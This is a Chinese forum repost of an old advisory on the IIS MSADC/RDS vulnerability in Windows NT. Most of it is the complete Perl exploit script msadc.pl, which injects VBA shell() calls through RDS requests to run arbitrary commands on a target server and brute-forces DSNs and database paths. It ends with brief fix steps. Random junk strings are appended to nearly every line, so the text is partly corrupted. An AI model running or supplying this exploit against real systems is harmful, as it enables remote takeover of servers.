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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )>Yu!8i  
a0#J9O_  
涉及程序: Z+=@<i''  
Microsoft NT server 1Yn +<I  
V=*wKuB  
描述: H/37)&$E(  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 =z /dcC$r  
bR)(H%I  
详细: aYSCw 3C<  
如果你没有时间读详细内容的话,就删除: ruld B,n  
c:\Program Files\Common Files\System\Msadc\msadcs.dll aSnF KB  
有关的安全问题就没有了。 $A-J,_:T<  
PGoh1Uu  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 &:`U&06q  
2_Z ? #Y  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 &*aIEa^  
关于利用ODBC远程漏洞的描述,请参看: ;67x0)kn  
]'=)2 .}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |mw.qI|  
k5kxQhPf  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 io8'g3<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4.5|2 \[  
TJR:vr  
这里不再论述。 <d$x.in  
jr:7?8cH0L  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: lE(a%'36  
][p>Y>:b-  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset $cU!m(SILQ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ~ r4 38&  
m0a?LY  
CmoE _8U>  
#将下面这段保存为txt文件,然后: "perl -x 文件名" @X;!92i  
4J/}]Dr5  
#!perl \6Zr  
# IHv[v*4:  
# MSADC/RDS 'usage' (aka exploit) script '|8} z4/g  
# %2{ %Obp'  
# by rain.forest.puppy %_%Q 8,W  
# ^Dn D>h@q  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ?Yth0O6?sb  
# beta test and find errors! naR0@Q"\h  
 jYmR  
use Socket; use Getopt::Std; Ni-xx9)=  
getopts("e:vd:h:XR", \%args); dQA'($  
jk[1{I/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; OX?\<),  
VKG&Y_7N  
if (!defined $args{h} && !defined $args{R}) { '6cWS'9"  
print qq~ B][U4WJ)  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3 09hn  
-h <host> = host you want to scan (ip or domain) zkuU5O  
-d <seconds> = delay between calls, default 1 second iW%I|&  
-X = dump Index Server path table, if available xRzFlay8  
-v = verbose YA_c N5p/@  
-e = external dictionary file for step 5 qzKdQ&vO  
d\|?-hY`[  
Or a -R will resume a command session  ~- _kM  
%\dz m-d(C  
~; exit;} KyYMfC  
c4^ks&)'  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Mh:L$f0A%O  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} t\k$};qJ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 8QLj["   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); lhAX;s&9  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 4U+xb>  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ~=6xyc/c  
[B#R94  
if (!defined $args{R}){ $ret = &has_msadc; Vt %bI0#  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~962i#&4  
bnq; )>&  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ]6(N@RC  
. "cmd /c "; k;AD`7(=  
$in=<STDIN>; chomp $in; [q) 8N  
$command="cmd /c " . $in ; {JZZZY!n2  
QwJV S(Gs4  
if (defined $args{R}) {&load; exit;} aQ?/%\>  
AN8`7F1  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; r@h5w_9  
&try_btcustmr; |:q=T ~x  
DCIxRPw  
print "\nStep 2: Trying to make our own DSN..."; 4B =7:r  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; rb5~XnJk  
sJ;g$TB  
print "\nStep 3: Trying known DSNs..."; ]'!f28Ng-  
&known_dsn; ;4R$g5-4X  
ov ` h  
print "\nStep 4: Trying known .mdbs..."; h)ECf?r<  
&known_mdb; ,<n}W+3  
:|V$\!o'U  
if (defined $args{e}){ X@ +{5%  
print "\nStep 5: Trying dictionary of DSN names..."; !"HO]3-o  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } qON|4+~u%  
,&]S(|2%>t  
print "Sorry Charley...maybe next time?\n"; twL3\ }N/B  
exit; fxgPhnaC>  
Y;dz,}re  
############################################################################## A-H&  
aktU$Wbwl  
sub sendraw { # ripped and modded from whisker AF;)#T<  
sleep($delay); # it's a DoS on the server! At least on mine... 8p^bD}lN7  
my ($pstr)=@_; q+H%)kF  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?{P"O!I{  
die("Socket problems\n"); \f]k CB  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2#KJ asX  
select(S); $|=1; [pC$+NX  
print $pstr; my @in=<S>; @K\~O__  
select(STDOUT); close(S); 'DY`jVwa  
return @in; 0LPig[  
} else { die("Can't connect...\n"); }} *]ly0nP  
?J%1#1L"/  
############################################################################## ]{)a,c NG  
oibsh(J3  
sub make_header { # make the HTTP request 1Ce@*XBU  
my $msadc=<<EOT 6LOnU~l,  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 !*s?B L  
User-Agent: ACTIVEDATA dbwe?ksh  
Host: $ip -E^vLB)O  
Content-Length: $clen !^^?dRd*v  
Connection: Keep-Alive kW2sY^Rg  
\s/s7y6b+  
ADCClientVersion:01.06 v6=RY<l"m  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 G! ]k#.^A,  
m;H.#^b*  
--!ADM!ROX!YOUR!WORLD! (_niMQtF}  
Content-Type: application/x-varg K$&s=Hm  
Content-Length: $reqlen )_+rU|We  
X^T:8npxt  
EOT j|4<i9^}  
; $msadc=~s/\n/\r\n/g; -MW_| MG  
return $msadc;} C\S3Gs  
T_s _p  
############################################################################## 6TQoqH8@U  
D N'3QQn  
sub make_req { # make the RDS request J4QXz[dG  
my ($switch, $p1, $p2)=@_; @XgKYm   
my $req=""; my $t1, $t2, $query, $dsn; vL|SY_:4  
V^7V[(~`  
if ($switch==1){ # this is the btcustmr.mdb query cQ/5qg  
$query="Select * from Customers where City=" . make_shell(); 88VZR&v   
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . I~q#eO)  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} /,89p&h  
J5di[nu  
elsif ($switch==2){ # this is general make table query A'j;\ `1  
$query="create table AZZ (B int, C varchar(10))"; V[{6e  
$dsn="$p1";} hLI`If/+K  
dq7x3v^"ZG  
elsif ($switch==3){ # this is general exploit table query PpGL/,]X  
$query="select * from AZZ where C=" . make_shell(); ]Uw<$!$-]s  
$dsn="$p1";} r#+d&.|  
?{\nf7Y  
elsif ($switch==4){ # attempt to hork file info from index server 1QqYQafA  
$query="select path from scope()"; "JVkVp[5D+  
$dsn="Provider=MSIDXS;";} u6M.'  
}E+!91't.^  
elsif ($switch==5){ # bad query C+?Hm1  
$query="select"; E4gYemuN  
$dsn="$p1";} y)F;zW<+  
IM:=@a{  
$t1= make_unicode($query); x4g3 rmp  
$t2= make_unicode($dsn); K\>tA)IPSV  
$req = "\x02\x00\x03\x00"; nIAx2dh?  
$req.= "\x08\x00" . pack ("S1", length($t1)); 3t`P@nL0;  
$req.= "\x00\x00" . $t1 ; P::TO-C  
$req.= "\x08\x00" . pack ("S1", length($t2)); sJ# 4(r`  
$req.= "\x00\x00" . $t2 ; aHs^tPg  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; dI*pDDq#  
return $req;} `Y BC  
w3#Wh|LQ-  
############################################################################## 7q?9Tj3  
$iI]MV%=  
sub make_shell { # this makes the shell() statement L=c!:p|7)  
return "'|shell(\"$command\")|'";} .9,zL=)Ba  
`k OD[*  
############################################################################## Yb:\a/ y  
@_U;9)  
sub make_unicode { # quick little function to convert to unicode ~oI1 zNz/  
my ($in)=@_; my $out; &/mA7Vf>eR  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } yN~dU0.G6!  
return $out;} /4tj3B,  
cYFiJJLG]  
############################################################################## _Bj)r}~7#  
x6(~;J  
sub rdo_success { # checks for RDO return success (this is kludge) lFa02p0  
my (@in) = @_; my $base=content_start(@in); `%CtWJ(e  
if($in[$base]=~/multipart\/mixed/){ >GQEqXs  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} E8>Ru i@9  
return 0;} 2}YOcnB  
q/4YS0CqE  
############################################################################## UH]l9Aq$P  
dOqOw M.y  
sub make_dsn { # this makes a DSN for us 0zo?eI  
my @drives=("c","d","e","f"); .zS?9MP  
print "\nMaking DSN: "; NZ ;{t\  
foreach $drive (@drives) { #6ri-n  
print "$drive: "; thV>j9'  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . xB_!>SqF1U  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Vm%1> '&  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 8dV=[+  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; &$"i,~q^b  
return 0 if $2 eq "404"; # not found/doesn't exist cj+ FRG~u  
if($2 eq "200") { QF{4/y^j{  
foreach $line (@results) { }-ftyl7  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} n,=VQ Ou  
} return 0;} bSsh^Z  
t>1Z\lE\"  
############################################################################## ~7Ts_:E-  
s >e=?W  
sub verify_exists { v[#9+6P=  
my ($page)=@_; $wmvKQc{lx  
my @results=sendraw("GET $page HTTP/1.0\n\n"); >2~+.WePu  
return $results[0];} &n6$rBr %  
C K:y?  
############################################################################## Qi_>Mg`x  
/3e KN  
sub try_btcustmr { 8CnRi  
my @drives=("c","d","e","f"); RRmLd/(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7:9.&W/KE  
_7IKzUn9g[  
foreach $dir (@dirs) { )N=NR2xBZ  
print "$dir -> "; # fun status so you can see progress _{R=B8Zz\  
foreach $drive (@drives) { '&.#  
print "$drive: "; # ditto :> D[n1v  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; R<sJ^nx  
$reqlenlen=length( "$reqlen" ); t'BLVCu  
$clen= 206 + $reqlenlen + $reqlen; (7XCA,KTGI  
_/Gczy4)#  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); V6t,BJjS  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} `kbSu}  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ~.A)bp  
5O~HWBX.  
############################################################################## ]4h92\\965  
SV:4GVf  
sub odbc_error { ox:[f9.5  
my (@in)=@_; my $base; +x_Rfk$fb  
my $base = content_start(@in); GDu~d<RH  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 2R=DB`3  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bhkUKxd  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Lg~B'd8m  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; IB# @yH  
return $in[$base+4].$in[$base+5].$in[$base+6];} ?shIj;c[  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |;.o8}  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . \"CZI<=TB  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} v-yde >(  
_@ *+~9%8p  
############################################################################## wNQ*t-K  
} b=}uiR#  
sub verbose { :T]o)  
my ($in)=@_; si&S%4(  
return if !$verbose; ]xX$<@HR  
print STDOUT "\n$in\n";}  emK$`9  
Kl2lbe7  
############################################################################## )\6&12rj  
X5X?&* %{  
sub save { 0j30LXI_  
my ($p1, $p2, $p3, $p4)=@_; T/^Hz4uA7  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; A81ls#is  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; U+)xu>I  
close OUT;} C0S^h<iSe*  
w"OP8KA:^T  
############################################################################## `}BF${vF  
X@k`3X  
sub load { F%i^XA]a*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; |tv"B@`  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); jy giG&H  
@p=<IN>; close(IN); =+-Yxh|*  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); jeGj<m  
$target= inet_aton($ip) || die("inet_aton problems"); 0A,]$Fzt  
print "Resuming to $ip ..."; F)s{PCl  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; w3=%*<  
if($p[1]==1) { dxZu2&gi  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Ix(?fO#uNF  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Gm9hYhC8  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); YqPQ%  
if (rdo_success(@results)){print "Success!\n";} ;]gP@h/  
else { print "failed\n"; verbose(odbc_error(@results));}} oqLfesV~  
elsif ($p[1]==3){ {"&SJt[%X  
if(run_query("$p[3]")){ /1x,h"T\<  
print "Success!\n";} else { print "failed\n"; }} A5i:x$ww  
elsif ($p[1]==4){ ~zSCg|"r  
if(run_query($drvst . "$p[3]")){ s3]?8hXd  
print "Success!\n"; } else { print "failed\n"; }} -1ce<nN  
exit;} *xON W  
%F:)5gT?  
############################################################################## EhO|~A*R  
hoQs @[  
sub create_table { )//I'V  
my ($in)=@_; AC;V m: @{  
$reqlen=length( make_req(2,$in,"") ) - 28; u0#}9UKQ  
$reqlenlen=length( "$reqlen" ); >. '<J]  
$clen= 206 + $reqlenlen + $reqlen; q EP 4  
my @results=sendraw(make_header() . make_req(2,$in,"")); L0&RvI#  
return 1 if rdo_success(@results); ax{ ;:fW  
my $temp= odbc_error(@results); verbose($temp); Y$Q|J4z  
return 1 if $temp=~/Table 'AZZ' already exists/; RRGWC$>?  
return 0;} ]J:1P`k.  
W?eu!wL#p  
############################################################################## }~"hC3w  
x_c7R;C  
sub known_dsn { ZTU&, 1Y;  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go rAs,X  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 2Fz|fW_  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", VxY+h`4#  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); (tCUlX2  
vfl5Mx4  
foreach $dSn (@dsns) { jCrpL~tWT  
print "."; H|ER  
next if (!is_access("DSN=$dSn")); G!Um,U/g  
if(create_table("DSN=$dSn")){ 7UL qo>j  
print "$dSn successful\n"; 9*E7}b,  
if(run_query("DSN=$dSn")){ ,RgB$TcE  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?V}j`r8|\4  
print "Something's borked. Use verbose next time\n";}}} print "\n";} YKE46q;J  
^2$ lJ  
############################################################################## -jn WZ5.  
x5QaM.+=J  
sub is_access { '0\@McU]  
my ($in)=@_; AgRjr"hF*e  
$reqlen=length( make_req(5,$in,"") ) - 28; 1fo U  
$reqlenlen=length( "$reqlen" ); rp6q?3=g  
$clen= 206 + $reqlenlen + $reqlen; j6  
my @results=sendraw(make_header() . make_req(5,$in,"")); jMbC Y07v  
my $temp= odbc_error(@results); o$[z],RO  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !!4Qj  
return 0;} u{FDdR9<  
E[O<S B I  
############################################################################## zCOgBT~p   
X^\> :<  
sub run_query { t9Y=m6  
my ($in)=@_; P%#*-zCCx  
$reqlen=length( make_req(3,$in,"") ) - 28; 'Fs)Rx}\0  
$reqlenlen=length( "$reqlen" ); KAsS [  
$clen= 206 + $reqlenlen + $reqlen; *1 G>YH  
my @results=sendraw(make_header() . make_req(3,$in,"")); GEEW?8  
return 1 if rdo_success(@results); uA$<\fnz  
my $temp= odbc_error(@results); verbose($temp); (u]N  
return 0;} `u.t[  
\~ BDm  
############################################################################## f8SL3+v  
m$9w"8R  
sub known_mdb { f+|$&p%  
my @drives=("c","d","e","f","g"); Qc[3Fq,f  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8E8N6  
my $dir, $drive, $mdb; kN%MP 6?J  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; &AlJ "N|  
A<6%r7&B'  
# this is sparse, because I don't know of many q~@]W=  
my @sysmdbs=( "\\catroot\\icatalog.mdb", eeHP&1= 7  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", S.Z9$k%   
"\\system32\\certmdb.mdb", M[z)6 .  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% fM #7y [  
UG'bOF4  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", @"Z7nJX  
"\\cfusion\\cfapps\\forums\\forums_.mdb", :> &fV  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", .e'eE  
"\\cfusion\\cfapps\\security\\realm_.mdb", 6Z`R#d #I  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Cn>ADWpT&  
"\\cfusion\\database\\cfexamples.mdb", 5C"QE8R o  
"\\cfusion\\database\\cfsnippets.mdb", <5G{"U+ \  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", BW"&6t#kA  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", N`E-+9L)  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 8/t$d#xHI  
"\\cfusion\\database\\smpolicy.mdb", (YY~{W$w(  
"\\cfusion\\database\cypress.mdb", /'Pd`Nxl.  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ifo7%XPcg  
"\\website\\cgi-win\\dbsample.mdb", 5OO'v07b  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 4Q IE8f Y  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" VR  
); #these are just ltkI}h,e  
foreach $drive (@drives) { RZe'Kw -  
foreach $dir (@dirs){ V97,1`  
foreach $mdb (@sysmdbs) { [w\9as/ E  
print "."; wZ4tCZA  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ sz @p_Z/  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; A<\JQ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ A/7X9ir  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (_4;') 9  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Ne $"g[uFU  
?=VOD#)  
foreach $drive (@drives) { p~.8\bI=  
foreach $mdb (@mdbs) { Kf 2jD4z}  
print "."; fK&e7j`qO  
if(create_table($drv . $drive . $dir . $mdb)){ @:tj<\G]  
print "\n" . $drive . $dir . $mdb . " successful\n"; G&;j6<hl  
if(run_query($drv . $drive . $dir . $mdb)){  be e5  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; /T,Z>R  
} else { print "Something's borked. Use verbose next time\n"; }}}} RUr=fEH  
} >HPdzLY?  
DAg58 =qJ  
############################################################################## RNPbH.  
66#"  
sub hork_idx { 7~ztwL  
print "\nAttempting to dump Index Server tables...\n"; +fx8muz:y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; }Z TGi,P c  
$reqlen=length( make_req(4,"","") ) - 28; Fkf97Oi  
$reqlenlen=length( "$reqlen" ); }n7t h  
$clen= 206 + $reqlenlen + $reqlen; bu&t'?z x!  
my @results=sendraw2(make_header() . make_req(4,"","")); A:y.s;<L 0  
if (rdo_success(@results)){ v`V7OD#:j]  
my $max=@results; my $c; my %d; eZr&x~] -w  
for($c=19; $c<$max; $c++){ =<@\,xN>C  
$results[$c]=~s/\x00//g; UZEI:k,dv  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; x f4{r+  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $ n,Z  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; F`nb21{0y&  
$d{"$1$2"}="";} QQe;1O  
foreach $c (keys %d){ print "$c\n"; } 9s}Kl($  
} else {print "Index server doesn't seem to be installed.\n"; }} uY< H#k  
|3+m%;X  
############################################################################## 83cW=?UgA  
.D4bqL  
sub dsn_dict { >xA),^ YT  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); W$qd/'%  
while(<IN>){ 577:u<Yt  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; NZN-^ >  
next if (!is_access("DSN=$dSn")); ^v9|%^ug  
if(create_table("DSN=$dSn")){ YpUp@/"  
print "$dSn successful\n"; $T<}y_nHl  
if(run_query("DSN=$dSn")){ 5efxEt>U  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { g(O;{Q_  
print "Something's borked. Use verbose next time\n";}}} ;WT{|z  
print "\n"; close(IN);} m,')&{Rd  
24Z]%+b*E  
############################################################################## Pv<FLo%u<  
Jdy <w&S  
sub sendraw2 { # ripped and modded from whisker 1Uf*^WW4  
sleep($delay); # it's a DoS on the server! At least on mine... IMnP[WA!  
my ($pstr)=@_; M[~{Vd  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _ nP;Fx  
die("Socket problems\n"); #'OaKt?Z)  
if(connect(S,pack "SnA4x8",2,80,$target)){ xt4)Ya  
print "Connected. Getting data"; kCUT ^  
open(OUT,">raw.out"); my @in; w6 2=06`@  
select(S); $|=1; print $pstr; Q,Z*8FH=  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} `(0LK%w  
close(OUT); select(STDOUT); close(S); return @in; 7&O`p(j  
} else { die("Can't connect...\n"); }} )4xu^=N&as  
%~j2 ('Y  
############################################################################## .[DthEF  
vRA',(](  
sub content_start { # this will take in the server headers &V7>1kD3  
my (@in)=@_; my $c; *QM~O'WhD  
for ($c=1;$c<500;$c++) { 69kJC/1+l  
if($in[$c] =~/^\x0d\x0a/){ w:o-klKXY  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } /,5Z-Z*wq  
else { return $c+1; }}} Je4Z(kj 0  
return -1;} # it should never get here actually ^*R(!P^  
9umGIQHnil  
############################################################################## rOD1_X-  
_SZ5P>GIU  
sub funky { gQ~5M'#  
my (@in)=@_; my $error=odbc_error(@in); g8ES8S M  
if($error=~/ADO could not find the specified provider/){ ^IgY d*5  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; jnu Y{0(&  
exit;} [ neXFp}S  
if($error=~/A Handler is required/){ ~un%4]U  
print "\nServer has custom handler filters (they most likely are patched)\n"; tLm867`c7  
exit;} ?p[O%_Xf  
if($error=~/specified Handler has denied Access/){ r^HA aGpC  
print "\nServer has custom handler filters (they most likely are patched)\n"; j2 h[70fWC  
exit;}} SW(q$i  
DhI>p0* T  
############################################################################## WW@"Z}?k  
&jV_"_3n  
sub has_msadc { ~9D~7UR  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^_p%Yv  
my $base=content_start(@results); d0 er^ ~  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); %up}p/?  
return 0;} __p_8P  
V'Qn sI  
######################## km:nE: |  
%@ mGK8  
i(2y:U3[@  
解决方案: Z\>, ),O  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll cJn HW  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 9w;?-  
dc0@Y  
拿出来充数 哈哈
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